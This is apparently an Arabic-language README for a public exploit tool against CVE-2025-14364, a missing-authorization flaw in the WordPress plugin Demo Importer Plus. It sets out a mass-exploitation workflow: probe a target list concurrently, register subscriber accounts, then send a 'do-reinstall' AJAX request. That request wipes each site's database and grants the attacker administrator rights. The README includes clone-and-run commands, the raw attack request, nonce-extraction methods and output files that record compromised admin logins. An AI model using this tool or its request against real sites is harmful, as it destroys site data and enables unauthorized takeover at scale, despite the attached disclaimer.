
Demo Importer Plus <= 2.0.8 - نقص التفويض لإعادة تعيين الموقع وتصعيد الامتيازات للمستخدمين الموثوقين (مشترك+)
Demo Importer Plus <= 2.0.8 - نقص في التفويض يؤدي إلى إعادة تعيين الموقع وتصعيد الامتيازات للمستخدمين المصادقين (مشترك+)
_ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ /| |_|_ _) |_ |_|_
\_ \/ |_ /_ \_/ /_ _) | | _) |_) |
مشترك مصادق → مدير عبر إجراء AJAX
do-reinstall
السبب الجذري:
Ajax::handle_request() تسجل إجراء AJAX demo_importer_plus دون استدعاء current_user_can(). يمكن لأي مشترك مصادَق إرسال {"demo_action":"do-reinstall"} لتشغيل wp_install()، مما يؤدي إلى حذف جميع جداول قاعدة البيانات (باستثناء users / usermeta) وإعادة تشغيل إعداد ووردبريس — مما يعين تلقائيًا دور المدير للحساب المهاجم في هذه العملية.
Mode 1 — Diagnose
Probe: DNS · /wp-login.php · /wp-admin/admin-ajax.php · REST /wp/v2/users
→ Identify live WordPress targets
Mode 2 — Register
POST /wp-login.php?action=register
→ Create subscriber account
→ Activation email sent to inbox
↳ You MUST click the email link before running Mode 3
Mode 3 — Exploit
POST /wp-login.php → Authenticate as subscriber
GET /wp-admin/ → Extract wp-rest-nonce
POST /wp-admin/admin-ajax.php
action=demo_importer_plus
{"demo_action":"do-reinstall"} → Trigger full site reset
← Response: "Site has been reset successfully"
→ Attacking account now holds Administrator role
git clone https://github.com/Nxploited/CVE-2025-14364.git
cd CVE-2025-14364
pip install -r requirements.txt
python3 CVE-2025-14364.py
requirements.txt
aiohttp>=3.9.0
colorama>=0.4.6
urllib3>=1.26.0
Mode [1/2/3]: 1 = Diagnose 2 = Register 3 = Exploit
Targets file: list.txt (one host per line)
Concurrency: default 30, max 200
Timeout: default 10s
تنسيق الأهداف — list.txt:
https://target1.com
target2.com
http://target3.com
يفحص أربعة نقاط نهاية لكل مضيف ويكتب النتائج النظيفة.
Mode: 1
Output → diagnostics_results.txt · passed_targets.txt
Mode: 2
Email: [email protected]
Username: Nxploited
Password: NxploitedSA
تحقق من صندوق الوارد وانقر على رابط التفعيل قبل تشغيل الوضع 3.
Output → register_results.txt
Mode: 3
Username: Nxploited
Password: NxploitedSA
عند النجاح، تقوم الأداة بطباعة:
[HH:MM:SS] SUCCESS "success":true,"message":"Site has been reset successfully" -> https://target.com
ويكتب إلى exploit_results.txt:
https://target.com/wp-login.php site:... user:Nxploited pass:NxploitedSA type:admin
الطلب المعرض للثغرة:
POST /wp-admin/admin-ajax.php?action=demo_importer_plus HTTP/1.1
Content-Type: application/json
X-WP-Nonce: <extracted_nonce>
{"demo_action":"do-reinstall"}
الاستجابة الناجحة:
{"success": true, "data": {"message": "Site has been reset successfully"}}
استخراج nonce — مصدران احتياطيان:
wpApiSettings.nonce (from /wp-admin/ page source)
elementorOneSettingsData.wpRestNonce (fallback)
By : Nxploited (Khaled Alenazi)
GitHub : https://github.com/Nxploited
Telegram : @KNxploited
تم إصدار هذا البرنامج بدقة لأغراض البحث الأمني والتعليم.
المؤلف لا يتحمل أي مسؤولية عن أي إجراءات يتم اتخاذها باستخدام هذه الأداة
ضد أنظمة لا يملكها المشغل أو ليس لديه إذن كتابي صريح لاختبارها.
الاستخدام غير المصرح به ضد أنظمة الطرف الثالث ينتهك قوانين جرائم الكمبيوتر
في معظم الولايات القضائية (CFAA، CMA، وما يعادلها في جميع أنحاء العالم) وقد يؤدي
إلى الملاحقة الجنائية.
أنت وحدك المسؤول عن ضمان حصولك على الإذن القانوني
قبل تشغيل هذه الأداة ضد أي هدف.
| CVE | CVE-2025-14364 |
| CVSS v3.1 | 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| الإضافة | Demo Importer Plus |
| الإصدارات المتأثرة | جميع الإصدارات ≤ 2.0.8 |
| التفويض المطلوب | مشترك (أدنى دور مسجل) |
| النوع | التحقق من الصلاحية المفقود → إعادة تعيين كامل للموقع → تصعيد الامتيازات |
| CWE | CWE-862 · التفويض المفقود |
| الملف | المحتوى |
|---|
diagnostics_results.txt | بيانات JSON كاملة للفحص لكل هدف |
passed_targets.txt | الأهداف النظيفة (لم يتم اكتشاف أخطاء) |
register_results.txt | سجلات محاولات التسجيل |
exploit_results.txt | تسجيل الدخول · nonce · نتائج إعادة التعيين · إصابات مدير مؤكدة |
reset_results.txt | استجابة خام لـ do-reinstall لكل هدف |